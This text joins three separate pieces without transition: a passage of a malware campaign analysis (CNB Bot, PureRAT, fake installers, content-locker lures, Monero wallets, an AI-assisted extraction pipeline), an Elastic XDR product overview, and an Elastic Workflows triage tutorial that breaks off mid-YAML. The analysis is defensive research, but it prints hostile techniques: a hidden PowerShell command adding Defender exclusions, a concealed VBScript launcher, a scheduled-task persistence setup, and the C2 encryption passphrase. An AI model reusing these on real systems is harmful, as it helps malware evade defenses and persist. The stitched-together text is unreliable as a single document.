Based on the documentation and memory strings, we know that the miner includes supplementary protection measures: Like the .NET miner detailed previously, it halts mining operations when it detects specific blocklisted processes. These processes encompass a variety of tools, including those used for process monitoring, network monitoring, antivirus protection, and reverse engineering.

Code analysis - CNB Bot

CNB Bot is a .NET implant with integrated loader capabilities. It implements a command-polling loop against its configured C2 servers, and supports 3 operator commands:

• download-and-execute arbitrary payloads
• self-update
• uninstall/cleanup

On Jan 31, 2026, malware researcher @ViriBack discovered a related C2 panel that was exposed at https://win64autoupdates[.]top/CNB/l0g1n234[.]php, which has since been taken offline.

Configuration

Some configuration values for CNB Bot are not encrypted, such as the bot version (1.1.6.), campaign date (03_26), and the scheduled task name for persistence (HostDataPlugin).

Sensitive strings (C2 URLs, mutex name, auth token, comms key) are stored AES-256-CBC encrypted with a hardcoded 32-byte key, which differs across campaign batches.

Strings can be decrypted through the following formula:

x = base64.decode(data)
decrypted = AES256CBC(key=hard_coded_key, iv=x[0:16]).decrypt(x[16:])

Extracted configuration:

Execution Flow

At startup, CNB Bot uses five different methods to check for VM detection:

Each check returns zero or one and is summed against a threshold. When the detection threshold is reached, the first process instance acquires a named mutex and enters an infinite sleep (Thread.Sleep(int.MaxValue)), appearing hung rather than terminating cleanly. Any subsequent instance finding the mutex already held exits immediately.

Otherwise, on first execution, the implant checks for %APPDATA%\HostData\install.dat. If absent, it performs the initial installation:

• Generates a random 5-character alphabetic subdirectory name under %APPDATA%\HostData\
• Copies itself to %APPDATA%\HostData\<random>\sysdata.exe
• Writes the installed path to install.dat
• Extracts benign dependencies DiagSvc.dll and sdrsvc.dll into the same directory
• Writes a VBScript wrapper sysdata.vbs alongside the binary: CreateObject("WScript.Shell").Run """<installed_path>""", 0, False
• Creates a scheduled task named HostDataProcess via schtasks.exe, configured to run wscript.exe //nologo sysdata.vbs every 10 minutes at HIGHEST privilege
• Launches the installed copy as a hidden process with %TEMP% as the working directory
• Self-deletes the original copy via a self-deleting BAT script (timeout /t 3, loop-del)

On subsequent runs, when install.dat exists, and the running path matches its contents, the implant proceeds to active operation:

• Sets the current working directory to %TEMP%
• Repairs persistence: checks if sysdata.vbs exists (recreates if absent) and verifies the scheduled task is configured with wscript.exe, re-registering it if necessary
• Acquires a named mutex (MTXCNBV11000ERCXSWOLZNBVRGH) - exits if already running
• Instantiates the victim profiler, C2 comms, and command dispatcher
• Issues a single POST to the C2 with payload: "fetch", handles any returned task
• Exits - next execution is driven entirely by the 10-minute scheduled task trigger

C2 Communication

The malware communicates with its C2 by issuing HTTP POST requests with the Content-Type set to application/x-www-form-urlencoded. Each field value is independently AES-256-CBC encrypted with a random IV. The AES key is derived as the SHA-256 hash of the hardcoded communications passphrase (AnCnDai@4zDsxP!a3E). The IV is prepended to the ciphertext, and the entire blob is base64-encoded; C2 responses follow the same format.

encrypted_field_value = base64_encode(random_iv + AES-256-CBC_encrypt\
 (key: SHA-256('AnCnDai@4zDsxP!a3E'), iv: random_iv, data: plaintext_field_value))

Fields sent on every request:

A server response decrypts to either a task string, “NO TASKS”, or “REGISTERED/UPDATED”. When the client requests a task through payload: “fetch”, if a task exists for the client, the C2 response decrypts to a <sep>-delimited task string: task_id<sep>command<sep>argument<sep>RSA_sig.

Prior to dispatch, each task undergoes RSA-SHA256 signature verification. The signed message is the concatenated string task_id<sep>command<sep>argument, and the signature is the base64-decoded RSA_sig field. A hardcoded RSA-2048 public key is used for verification.

Tasks failing verification are silently dropped. Without the operator's RSA private key, third parties cannot issue commands to infected hosts even with full C2 access.

Supported Commands

3 commands are supported, described in the table below:

Earlier Campaigns

Pivoting on the PureRAT mutex Aesthetics135, we discovered an earlier wave of the operation that presented a different fake installer UI.

Early 2025 Build

The sample bb48a52bae2ee8b98ee1888b3e7d05539c85b24548dd4c6acc08fbe5f0d7631a (first seen 2025-01-30) is a Themida and .NET Reactor-protected Windows Forms application that drops PureRAT v0.3.9.

It consists of 3 classes: Fooo1rm (the ApplicationContext entry point), Form2 (the installer UI and the PureRAT dropper), and Form3 (a fake registration lure). The code structure closely resembles the more recent campaigns.

On initialization, it immediately invokes a hidden PowerShell one-liner to add itself to Microsoft Defender exclusions before any UI appears: powershell.exe -WindowStyle Hidden Add-MpPreference -ExclusionPath '<self_path>'; Add-MpPreference -ExclusionProcess '<self_path>'. A timer with a 2,846 ms interval fires, instantiating and showing Form2.

Form2 presents a progress bar dialog titled “Getting things ready” with a 12-step timer ticking every 1,000 ms, simulating a legitimate installation.

A second PowerShell exclusion command covers %LocalAppData%, %AppData%, the drop directory %LocalAppData%\winbuf, and process names including winbuf.exe, wintrs.exe, and AddlnProcess.exe. The PureRAT v0.3.9 payload is extracted from the assembly manifest resource and written to %LocalAppData%\winbuf\winbuf.exe. Persistence is established via schtasks.exe.

Extracted PureRAT config:

• wndlogon.hopto.org (C2 #1)
• wndlogon.itemdb.com (C2 #2)
• wndlogon.kozow.com (C2 #3)
• wndlogon.ydns.eu (C2 #4)
• Aesthetics135 (mutex and C2 comms key)
• 29-01-25 (build / campaign date)

Form3 serves purely as a social engineering mechanism to drive Cost Per Action (CPA) offer completions through a content locker.

Content lockers are a monetization technique in which access to a resource is gated behind completing CPA (Cost Per Action) offers, such as filling out a survey or signing up for a service. The malware operator earns a commission each time a victim completes one of these offers.

It presents a fake “Registration Required” dialog with a key entry field, a “Validate” button, and a hyperlink labeled “here” that opens https://tinyurl[.]com/cmvt944y. Key validation is entirely fake. Regardless of input, the handler introduces a hardcoded 2-second delay, then always returns “Invalid key. Please try again.”

The TinyURL shortlink tinyurl[.]com/cmvt944y redirects to the lure page at rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/.

The page used to host a minimal HTML document titled "Registration Key is Ready", designed to trick the victim into interacting with the CPA content locker. It presents a download icon and a fake file link labeled Registration_Key.txt, alongside a unique campaign tracking ID (z872d515ea17b4e6c3abca9752c706242) displayed in the page body.

The content locker JavaScript (3193171.js) is loaded from d3nxbjuv18k2dn.cloudfront[.]net, and clicking the Registration_Key.txt link triggers the offer wall under the pretext of unlocking a license key.

Late 2023 Build

An older sample - 6a01cc61f367d3bae34439f94ff3599fcccb66d05a8e000760626abb9886beac (first seen 2023-11-09) presented a similar fake installer UI. This represents the earliest activity we attributed to this threat actor based on shared infrastructure and tooling.

This campaign build dropped PureRAT v0.3.8B, in which the in-memory PE loader component used a SmartAssembly-protected PureCrypter.

Extracted PureRAT config:

• wndlogon.hopto.org (C2 #1)
• wndlogon.itemdb.com (C2 #2)
• wndlogon.kozow.com (C2 #3)
• wndlogon.ydns.eu (C2 #4)
• Aesthetics135 (mutex and C2 comms key)
• 09.11.23 (build / campaign date)

On the installation window, the “go here” hyperlink opens a short link https://t[.]ly/MQXPm that redirects to the lure page https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/, which presents 2 outgoing fake download links:

• https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeydsktp/
• https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeymbl/

Both links were offline at the time of analysis. However, historical data indicates that rapidfilesbaze[.]top has been used consistently for CPA-style offer lures.

A URLScan.io archived response for a related path (rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/) confirms the site's use as a lure landing page.

The downstream unlocker site at https://unlockcontent[.]net/cl/i/me9mn2 remains active as of this writing.

GitHub Profiles

Beyond the C2 infrastructure, the threat actor abuses GitHub as a payload delivery CDN, hosting staged binaries across two identified accounts. This technique shifts the download-and-execute step away from operator-controlled infrastructure to a trusted platform, reducing detection friction. Both profiles were confirmed through decrypting C2 task traffic captured by VirusTotal sandboxes, which issued download-and-execute tasks pointing directly to raw GitHub content URLs. The operator routinely deletes individual binaries and entire repositories; the files documented below were captured via VirusTotal submissions or direct retrieval from GitHub prior to deletion.

The first profile, https://github[.]com/lebnabar198, surfaced during analysis of Campaign 2. After decrypting the C2 traffic from the windirautoupdates[.]top server, we observed the PureRAT implant being instructed to fetch a payload from this account, specifically the custom XMRig loader MnrsInstllr_240126.exe. This establishes a direct operational link between the PureRAT C2 and this GitHub profile.

The second profile, https://github[.]com/ugurlutaha6116, was identified by decrypting traffic from a PureRAT loader (SHA-256: e1e87d11079d33ec1a1c25629cbb747e56fe17071bde5fd8c982461b5baa80a4), which used the same PBKDF2 key derivation structure with the comms key Aesthetics152. The decrypted task pointed to the hosted payload PM3107.exe.

The hosted files map to the following payloads:

Monero Wallet Analysis

During our analysis of the cryptominer payloads, we successfully extracted four active Monero (XMR) wallet addresses from the malware's configuration. Because the threat actor is routing their compromised hosts through public mining pools, we can query the pool's public dashboards using these wallet addresses. It provides information about the operational scale and profitability of the campaigns.

Based on the telemetry available at the time of writing, here is the current status of the attacker's mining operations:

• Wallet 1: 87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD
  • Active Workers: 7
  • Estimated Hashrate Return: ~0.0172 XMR / day
  • Total Paid Out: 2.2 XMR
• Wallet 2: 89FYoLrfXwEDAVAsVYbhAfg3mATUtBzNAK2LG8wwDKfNTRhmNRTBn1VbwpFxEpJ8h5fQa2A4CS1tpRv7amUdJ3ZbUoVu6T1
  • Active Workers: 3
  • Estimated Hashrate Return: ~0.02 XMR / day
  • Total Paid Out: 4.23 XMR
• Wallet 3: 89WoZKYoHhcNEFRV8jjB6nDqzjiBtQqyp4agGfyHwED1XyVAoknfVsvY1CwEHG6nwZFJGFTF5XbqC4tAQbnoFFCX8UQof3G
  • Active Workers: 2
  • Estimated Hashrate Return: ~0.0057 XMR / day
  • Total Paid Out: 11.69 XMR
• Wallet 4:
  83Q1PKZ5yXsP8SCqjV3aV7B3UoBB3skPp49G1VnnGtv5Y5EUbFQTXvzR9cZshBYBBfd8Dm1snkkud431pdzEZ2uJTad1CiC
  • Active Workers: 2
  • Estimated Hashrate Return: ~0.0036 XMR / day
  • Total Paid Out: 9.76 XMR

With a combined total of over 27.88 XMR (~ USD$ 9392) already successfully paid out to the attacker, it proves that low-and-slow cryptojacking operations can yield consistent financial returns over time.

Agentic Payload and Configuration Extraction Pipeline

In this research, we examined several hundred infection chains across the campaigns we described. For each chain, we have samples, mainly .NET, which are either loaders or final payloads layered with .NET Reactor obfuscation and often Themida packing.

The large number of these chains makes manual configuration and unpacking time-consuming and difficult to scale across all the chains we discovered. This is why, as part of this research, we used the Claude Opus 4.5 model to quickly vibecode a payload and configuration extraction pipeline. In this section, we provide details on the choices we made and the results we obtained with this method.

Triage

To optimize processing time, this phase focuses on extensively exploring infection chains using VirusTotal. We begin by obtaining a list of hashes from VirusTotal based on a specific pivot. For instance, using the README.txt content as a pivot to identify other ISOs.

Claude is instructed to use a Python script to perform a recursive download. This process involves gathering information about embedded binaries and dropped files associated with each file hash. Claude then uses its “intelligence” to identify the most subsequent link in the chain and continues its investigation until it reaches what it considers the final binary in that chain. After exploring all chains, Claude analyzes the patterns and creates chain types to group them. Finally, the results are compiled into a CSV file for subsequent analysis.

The data we obtained includes the starting hash from VirusTotal and the final hash, representing the last file Claude successfully tracked. This demonstrates that, with the right guidance, Claude can effectively track entire chains using only information from VirusTotal.

Download and Extraction

Once the triage file was created, we downloaded the intermediate payloads and instructed Claude to start the automatic payload/configuration extraction process. To do this, we installed an OpenSSH server on a Windows virtual machine, then created a Claude skill containing instructions to connect to this machine and use the installed tools to perform the reverse engineering and extraction workflow.

The workflow is simple: Claude connects to the machine, uploads the sample, detects whether it is obfuscated or packed with Detect It Easy, and applies the appropriate deobfuscation tool until the sample is no longer obfuscated (Unlicense, .NET Reactor Slayer). It then runs the developed extraction scripts to identify what the sample is and determine the next step: either continue extraction with the child payload if the parent is a loader, or store the configuration information for the final report.

If all the extraction scripts fail, Claude must enter Research Mode. This mode is the most enjoyable part of the skill because it gives Claude a workflow to either automatically develop a new extraction script or identify why the existing script doesn't work with the variant. Claude’s Research Mode consists of using the dnSpyEx tool installed on the machine to compile the sample's C# code, perform a complete code analysis, identify how to extract the payload or configuration, then develop a script with this knowledge to work directly with the raw binaries to be more efficient and finally store the knowledge for the next time it has to work on the same malware family.

Results

Using the Claude Opus 4.5 model, the results were really good. Not only did Claude succeed in handling the obfuscation layers, but it also completely researched and developed, on its own, the methods and scripts (based on the CIL of .NET binaries) to extract the final payloads and their configurations without having encountered them before.

It also demonstrated robust failure handling without requiring additional instruction. For example, when it encountered samples that could not be fully deobfuscated due to issues with Reactor Slayer, which made static extraction too difficult, it stopped processing, documented the problem, and proceeded to the next sample.

Of course, it is not without drawbacks:

• Once its context started to fill up too much, it often diverged onto useless paths and required either micro-management or a reset, hence the usefulness of having a skill with reusable instructions and a knowledge base on the work already done.
• It takes a long time, every action requires it to “think”, however, it’s automatic and it's definitely time recovered you can use to do something else.
• Its token consumption is particularly greedy, especially once you figure out it’s doing a lot of inefficient things.

Observations

The following tables consolidate malware configurations extracted across the builds we investigated, and are not exhaustive:

CNB Bot

PureRAT

PureMiner

Custom XMRig Loader

AsyncRAT

PulsarRAT

SilentCryptoMiner

Here is a GitHub Gist of a list of sample hashes.

Security investigations rarely stay confined to a single host. Today’s attackers increasingly use automation and AI to compress multi-stage attacks into minutes, turning what once unfolded over days into coordinated activity across endpoints, identities, workloads, and cloud services within minutes.

While many attacks begin on an endpoint, investigators must quickly determine how that activity spreads across the environment. In many environments, per-endpoint licensing limits how broadly protection and telemetry can be deployed, creating protection gaps during these investigations.

Elastic Security XDR is built around that reality. It includes best-in-class endpoint protection, without per-endpoint licensing constraints, in an agentic security operations platform where endpoint telemetry, infrastructure signals, and supporting artifacts can be analyzed together.

This post explores how Elastic Security XDR supports investigations across endpoints, workloads, and the broader environment, highlighting tools and workflows that help analysts collect evidence, pivot across telemetry, and respond efficiently.

Endpoint at the heart of XDR

The 2025 Elastic Global Threat Report reveals that with 90% of malware targeting Windows, and browsers acting as the 'primary battleground', host-level visibility is essential to stopping a breach before it scales to the cloud. Elastic Defend, Elastic Security’s native endpoint protection, powers XDR from the endpoint outward. It not only prevents threats across Windows, macOS, and Linux, but also generates rich, investigation-grade telemetry that gives analysts the context they need to understand what happened on a host.

As activity occurs, Elastic Defend captures system events including process execution, file changes, network connections, and related artifacts. This telemetry forms the foundation for broader investigations, allowing analysts to correlate endpoint behavior with activity across workloads, identities, and other systems.

Multiple detection layers protect against malware, ransomware, fileless techniques, and other malicious behaviors, using both static and behavioral analysis. Independent validation from the AV-Comparatives Business Security Test confirms Elastic’s effectiveness; in the 2025 test cycle, Elastic Security was the only vendor that blocked every tested threat, earning perfect scores in both Real-World Protection and Malware Protection.

Elastic also takes a principled approach to openness. Unlike many endpoint security tools that operate as a black box, Elastic publishes detection and prevention logic in an open repository. This transparency lets analysts understand how protections work, validate them in their own environments, and prioritize high-risk gaps. By empowering users with visibility and insight, Elastic ensures security teams can act with confidence and maximize the value of their investigations.

Beyond the endpoint: expanding the investigation

Attacks rarely stay confined to a single host. Credentials may be compromised, workloads modified, or activity spread across cloud services and infrastructure. To fully understand an incident, analysts need to correlate endpoint activity with signals from the broader environment.

Elastic Security XDR enables this by bringing multiple data sources into the same analysis environment through hundreds of integrations with popular security tools and data sources. Endpoint telemetry,whether collected by Elastic Defend or another EDR platform, can be analyzed alongside cloud activity, identity events, network telemetry, and third-party logs, without forcing organizations into a closed security stack. Elastic provides the common schema and unified detection engine required to normalize disparate signals, allowing analysts to bypass manual data mapping and immediately pivot between sources to follow how activity moves across users, systems, and infrastructure.

Centralized detection rules operate across the unified dataset in the security platform, complementing real-time protections that run directly on the endpoint. They enable alerts to reflect correlated activity across multiple domains. Suspicious process activity on a host can be matched with identity events, cloud API calls, or network behavior, helping analysts determine whether an event is isolated or part of a larger attack chain.

Container workloads highlight another way XDR extends investigations. Elastic Defend for Containers monitors runtime behavior inside containerized environments, detecting suspicious activity such as unexpected process execution, privilege escalation, or access to sensitive resources. By connecting endpoint behavior to the broader environment, Elastic Security XDR gives analysts the visibility needed to scope incidents accurately, prioritize critical threats, and respond with confidence.

Reconstructing the attack path

After relevant telemetry is collected, analysts need to piece together what happened and how the attack progressed. Investigations involve pivoting between events, validating hypotheses, and assembling a complete timeline of activity across the environment.

Elastic Security XDR provides investigation tools designed to support this process. Visual Event Analyzer, Session View, and Timeline allow analysts to explore relationships between events, trace execution chains, and correlate activity across datasets while maintaining investigative context.

Visual Event Analyzer offers a graphical view of process relationships, helping analysts spot suspicious parent-child behavior and understand execution flows. Session View reconstructs activity within a process session, showing commands, network connections, and other actions as they unfolded. Timeline acts as an investigative workspace where analysts collect and correlate events from multiple sources, refine queries, and build a coherent attack narrative.

Together, these tools help analysts validate hypotheses faster, deepen analysis, and enable more confident response decisions.

Agentic investigation: discovery, summarization, and natural language querying

Elastic Security’s AI-driven investigative workflows help analysts keep pace with modern attacks by accelerating investigation and surfacing connected activity across the environment. Attack Discovery identifies connected alerts across endpoints, workloads, cloud services, and integrated third-party data, helping analysts uncover hidden attack chains without manually correlating events.

Once an investigation is underway, Elastic AI Assistant and Agent Builder enable natural-language workflows that let analysts interact with data and automation more efficiently. Analysts can summarize observations, ask questions about entities and activity, and move seamlessly from supporting signals to containment or remediation actions. With the introduction of agent skills, teams can now extend these workflows with reusable, task-specific capabilities, such as alert triage, rule management, and case handling, allowing the assistant to execute complex, multi-step security tasks with the same consistency and repeatability as traditional automation, but through a conversational interface.

In practice, these capabilities reduce the time from an initial alert to full incident understanding, allowing SOC teams to respond faster, focus on high-priority threats, and act with confidence.

Built-in forensics and host artifact collection

During incident response, investigators often need to retrieve additional host artifacts to confirm attacker behavior, identify persistence, or validate user activity.

Elastic Security XDR includes built-in forensic capabilities that allow responders to collect investigative artifacts directly from affected hosts, reducing the need for separate forensic tooling during common investigative tasks. Elastic Defend supports capturing memory snapshots for deeper forensic analysis, while Osquery Manager enables analysts to run targeted queries to gather and examine host artifacts as part of an investigation.

Forensic visibility is further extended through ongoing collaboration with Osquery. By extending Osquery-based forensics with supplemental tables for common investigative artifacts, Elastic helps uncover evidence such as browser history, AMCache records, and jumplist artifacts. These sources make it easier for analysts to examine user activity and execution history on Windows systems during an investigation. Also available is library of prebuilt forensic queries and packs to extract common investigative artifacts across Windows, macOS, and Linux, including:

• process listings and execution context
• scheduled tasks, startup items, and persistence mechanisms
• shell history and command execution artifacts
• network configuration and connectivity context
• file hashes and other execution-related artifacts

These capabilities turn artifact collection into an embedded step of the investigation, rather than a separate workflow, so teams can confirm what happened all in one platform and act sooner.

Response actions that keep investigations moving

Once investigators confirm malicious behavior, the priority shifts to containment and remediation. Elastic Security XDR enables analysts to take immediate action directly from the investigation context, isolating a host, terminating suspicious processes, collecting a file from the endpoint, or running a response script to collect additional evidence needed to complete the analysis.

For organizations using third-party EDRs, Elastic Security XDR can orchestrate containment and response across mixed environments, allowing teams to keep investigation, enforcement, and incident record-keeping anchored in a single platform.

Controlling removable media with Device Control

Investigations often uncover risk paths beyond traditional malware, such as removable media usage or potential USB-based exfiltration. Elastic Security XDR’s Device Control capabilities let teams manage and enforce removable media policies across endpoints, reducing attack surface and preventing unauthorized data transfer.

Device Control also allows teams to automatically block USB devices and maintain a trusted set of approved devices, ensuring policies are enforced consistently across all endpoints.

Scaling response with Elastic Workflows

Incident response often follows repeatable steps. When an alert fires, teams enrich it, gather evidence, contain affected hosts, open cases, notify responders, and document decisions, ensuring investigations persist across handoffs and shift changes.

Elastic Workflows gives teams a way to encode those steps as a reusable playbook that runs inside the Elastic platform. Workflows are defined declaratively in YAML in Kibana, and can be triggered in multiple ways: when a Kibana alerting rule fires, on a schedule, or manually on demand.

From there, a workflow can execute a sequence of steps that look a lot like what an analyst would do manually:

• Query Elastic data (including ES|QL), transform results, and branch based on conditions
• Create or update a Case, attach supporting context, and keep an auditable record of what was collected and why.
• Notify downstream systems (Slack, Jira, PagerDuty, and other services) using connectors you’ve already configured, or call internal/external APIs via HTTP steps.

This becomes especially impactful when paired with endpoint response capabilities. When an alert fires, teams can automatically isolate the host and kick off a standardized evidence bundle - capture a memory dump, collect a suspicious file (get-file), and list running processes - so responders have what they need immediately.

The net effect is faster execution of the first steps in incident response, while investigations follow consistent playbooks across analysts and shifts. Instead of relying on memory and manual checklists, Workflows helps enforce a repeatable investigation standard and makes it easier to scale response when alert volume spikes.

Elastic Security Labs - Research that powers real-world defenses

Elastic Security is informed by the work of Elastic Security Labs, a team dedicated to studying real adversary behavior and translating those findings into practical detection and investigation guidance. Threat Command tracks emerging techniques, malware activity, and endpoint tradecraft, then turns that research into updates that matter in day-to-day security operations: new and refined detection rules, improvements to prevention logic, and clearer guidance on how to investigate what you’re seeing.

Elastic Security Labs also publishes technical write-ups and analyses to help the broader community understand how threats operate in the wild. For defenders, that research provides useful context behind detections - why a technique matters, what evidence to look for, and how to scope impact once an alert fires.

Tying it all together

As a core capability of our agentic security operations platform, Elastic Security XDR unifies traditionally siloed defenses to tackle the speed and complexity of modern threats. An initial host-based signal can quickly spread across endpoints, identities, and cloud services. Agentic workflows and agent skills help analysts investigate and respond at machine speed. Analysts no longer need to stitch together disconnected tools - they can follow attacker activity throughout the environment, combining endpoint prevention with autonomous investigative and response capabilities in a single platform.

Learn More

Visit elastic.co/security/xdr to learn more. Try a free Elastic Security trial, explore Elastic Defend with our Getting Started video, or practice with real malware at ohmymalware.com.

An alert fires. You open it. You read through the details. You gather context from the surrounding activity. You check for related signals across your environment. You decide what it means and what to do next. Sometimes you escalate. Sometimes you close it and move on.

You do this dozens of times a day. The steps are almost always the same. The data you need is already in your SIEM. The actions you take are predictable. But the work is still manual.

This is the kind of work that automation should handle. Not because it's hard, but because it's repetitive, and every minute spent on repetitive manual triage is a minute not spent on the alerts that actually need a human.

Elastic Workflows brings that automation into the SIEM itself. No separate tool. No integration to build. Your detection rule fires, and a workflow runs, with direct access to your alerts, cases, and security data.

This blog post walks through building a security playbook with Workflows, step by step. We'll start simple and build up to a workflow that runs when an alert fires, checks threat intel, gathers context, creates cases, notifies the team, and brings in AI when the investigation calls for it.

If you're new to Workflows, the introductory technical deep dive blog and video cover the core concepts of Workflows. This post focuses on applying these concepts in a security context.

Quick orientation

Workflows are YAML definitions that run inside Kibana. You define what should happen, and the platform handles execution. At a high level, a workflow is composed of three main parts: triggers (when it runs), steps (what it does), and data flow (how information moves between steps).

Triggers decide when the workflow runs. An alert trigger runs on a detection. A scheduled trigger runs on a cadence. A manual trigger runs on demand. A workflow can have more than one.

Steps define what the workflow does. They run in order and can use outputs from earlier steps. They can query data in Elasticsearch, update alerts and cases in Kibana, and call external systems like sending a Slack message or scanning a hash on VirusTotal. They can also apply logic such as conditionals or loops, and use AI for tasks like summarizing text, prompting an LLM, or invoking agents when deeper reasoning is needed.

This is the toolkit. With these primitives, you can build workflows that take a signal, gather context, and drive a response.

Building a security playbook

We'll build an alert triage workflow incrementally. Each section adds a capability, and by the end, you'll have a working playbook that handles the full triage loop.

Start with the trigger

Security workflows start with an event. It could be an alert, a case update, a user action, or a scheduled check. The workflow takes that signal, gathers context, and decides what to do next.

We’ll start with alert triage. It’s the most common path, and it shows the full loop end to end. Each section adds a capability, and by the end, you’ll have a working playbook.

Here’s a minimal workflow with an alert trigger:

name: Alert Triage Playbook
description: Enriches alerts, checks threat intel, creates a case, and notifies the team.
enabled: true
tags:
  - security
  - triage

triggers:
  - type: alert

steps:
  # we'll build these out

The alert trigger connects this workflow to detection rules. You link a specific rule to this workflow from the rule's Actions settings in Kibana. When the rule fires, the workflow runs and receives the full alert context through the event variable. That includes event.alerts (the alert documents), event.rule (the rule metadata), and every field on the alert.

From here, you start adding steps.

Check threat intel

The first real step: take the file hash from the alert and check it against VirusTotal. Workflows have a built-in VirusTotal connector, so you don't need to construct HTTP requests or manage API keys in your YAML (connector credentials like VirusTotal API keys or Slack tokens are configured once in the connector under Stack Management > Connectors):

  - name: check_virustotal
    type: virustotal.scanFileHash
    connector-id: "my-virustotal"
    with:
      hash: "{{ event.alerts[0].file.hash.sha256 }}"
    on-failure:
      retry:
        max-attempts: 2
        delay: 3s
      continue: true

Every step in a workflow follows a simple, consistent structure. It starts with a name, which gives the step a clear identity, and a type, which defines the action being performed. In this case, the step calls the VirusTotal file hash scan capability. Because this is a connector-backed action, it also includes a connector-id, which tells the workflow which configured integration to use, including its credentials.

The with block is where you pass inputs into the step. Each step type defines the parameters it accepts. Here, you provide the file hash to scan. Rather than hardcoding values, workflows use a built-in templating engine powered by LiquidJS. The {{ }} syntax lets you reference data from the execution context, so the hash is pulled directly from the alert that triggered the workflow.

Finally, the on-failure block defines how the step behaves if something goes wrong. In this case, it retries twice with a short delay and continues execution even if the lookup fails. This is important in production workflows, where a transient external API issue should not block the entire triage process.

Gather context with ES|QL

Next, query for related alerts on the same host. ES|QL runs directly against your security indices, so there's no API bridging or credential management:

  - name: related_alerts
    type: elasticsearch.esql.query
    with:
      query: |
        FROM .alerts-security*
        | WHERE host.name == "{{ event.alerts[0].host.name }}"
        | WHERE @timestamp > NOW() - 24 hours
        | STATS
            alert_count = COUNT(*),
            rules_triggered = VALUES(kibana.alert.rule.name),
            users_involved = VALUES(user.name)
      format: json

This tells you whether the host has been generating other alerts, which rules triggered, and which users were involved. That context is included in the case description and informs the severity assessment later.

The same approach works for any enrichment that touches data in Elasticsearch: looking up a user's first-seen date, checking how many times a hash has appeared in your logs, or pulling the process tree from endpoint data. If the data is in your cluster, ES|QL can get it.

Branch on findings

Now the workflow needs to decide what to do. If VirusTotal flagged the file as malicious, create a case and respond. If not, close the alert as a false positive:

  - name: check_malicious
    type: if
    condition: steps.check_virustotal.output.stats.malicious > 5
    steps:
      # true positive path: steps below
    else:
      - name: close_false_positive
        type: kibana.SetAlertsStatus
        with:
          status: closed
          reason: false_positive
          signal_ids:
            - "{{ event.alerts[0]._id }}"

The if step evaluates a condition and runs different steps depending on the result. The false positive path closes the alert in a single step. The true positive path continues below.

Create a case

When the alert is confirmed malicious, open a case with context from previous steps:

      - name: create_case
        type: kibana.createCase
        with:
          title: "Malware Detected: {{ event.alerts[0].file.hash.sha256 }}"
          description: |
            Confirmed malicious file detected on {{ event.alerts[0].host.name }}.

            **Detection:** {{ event.rule.name }}
            **User:** {{ event.alerts[0].user.name }}
            **VirusTotal:** {{ steps.check_virustotal.output.stats.malicious }} engines flagged this file
            **Related alerts (24h):** {{ steps.related_alerts.output.values[0][0] }} 
              alerts from {{ steps.related_alerts.output.values[0][1] | size }} rules
          owner: securitySolution
          severity: high
          tags:
            - automation
            - malware
          settings:
            syncAlerts: false
          connector:
            id: none
            name: none
            type: ".none"
            fields: null

Liquid templating pulls data from the alert (event), from the VirusTotal results (steps.check_virustotal.output), and from the ES|QL query (steps.related_alerts.output). Every field from every previous step is available to every subsequent step.

Notify the team

Send a Slack message so the team knows a confirmed case is open:

      - name: notify_team
        type: slack
        connector-id: "security-alerts"
        with:
          message: |
            Malware confirmed on {{ event.alerts[0].host.name }}.
            VirusTotal: {{ steps.check_virustotal.output.stats.malicious }} detections.
            Case created: {{ steps.create_case.output.id }}

Slack is one option. Jira, ServiceNow, PagerDuty, Microsoft Teams, email, and Opsgenie are all supported as connector steps.

The complete workflow

Here's the full workflow assembled:

name: Alert Triage Playbook
description: Enriches alerts, checks threat intel, creates a case, and notifies the team.
enabled: true
tags:
  - security
  - triage

triggers:
  - type: alert

steps:
  - name: check_virustotal
    type: virustotal.scanFileHash
    connector-id: "my-virustotal"
    with:
      hash: "{{ event.alerts[0].file.hash.sha256 }}"
    on-failure:
      retry:
        max-attempts: 2
        delay: 3s
      continue: true

  - name: related_alerts
    type: elasticsearch.esql.query
    with:
      query: |
        FROM .alerts-security*
        | WHERE host.name == "{{ event.alerts[0].host.name }}"
        | WHERE @timestamp > NOW() - 24 hours
        | STATS
            alert_count = COUNT(*),
            rules_triggered = VALUES(kibana.alert.rule.name),
            users_involved = VALUES(user.name)
      format: json

  - name: check_malicious
    type: if
    condition: steps.check_virustotal.output.stats.malicious > 5
    steps:
      - name: create_case
        type: kibana.createCase
        with:
          title: "Malware Detected: {{ event.alerts[0].file.hash.sha256 }}"
          description: |
            Confirmed malicious file detected on {{ event.alerts[0].host.name }}.

            **Detection:** {{ event.rule.name }}
            **User:** {{ event.alerts[0].user.name }}
            **VirusTotal:** {{ steps.check_virustotal.output.stats.malicious }} engines flagged this file
            **Related alerts (24h):** {{ steps.related_alerts.output.values[0][0] }} 
              alerts from {{ steps.related_alerts.output.values[0][1] | size }} rules
          owner: securitySolution
          severity: high
          tags:
            - automation
            - malware
          settings:
            syncAlerts: false
          connector:
            id: none
            name: none
            type: ".none"
            fields: null

      - name: notify_team
        type: slack
        connector-id: "security-alerts"
        with:
          message: |
            Malware confirmed on {{ event.alerts[0].host.name }}.
            VirusTotal: {{ steps.check_virustotal.output.stats.malicious }} detections.
            Case created: {{ steps.create_case.output.id }}

    else:
      - name: close_false_positive
        type: kibana.SetAlertsStatus
        with:
          status: closed
          reason: false_positive
          signal_ids:
            - "{{ event.alerts[0]._id }}"

That's the triage loop, automated. Alert fires, threat intel checked, context gathered, decision made, case created, team notified. Every execution is logged and auditable.

This is a starting point. The traditional-triage.yaml in the Elastic Workflows library on GitHub goes further: it isolates the host, looks up the on-call analyst, creates a dedicated Slack channel, assigns the case, and posts a rich incident summary. Same patterns, more steps.

Adding AI to the playbook

The workflow above handles a defined path. If the hash is malicious, do X; otherwise, do Y. That covers a lot of triage work. But not every alert fits a clean branching condition, and not every case description should be a list of raw fields.

Workflows include AI steps that handle the parts where structured logic runs out. There are three, and they work together.

Classify: let AI drive the branching

Instead of branching on a VirusTotal score threshold, use ai.classify to categorize the alert. It considers the full alert context, not just a single number:

  - name: classify_alert
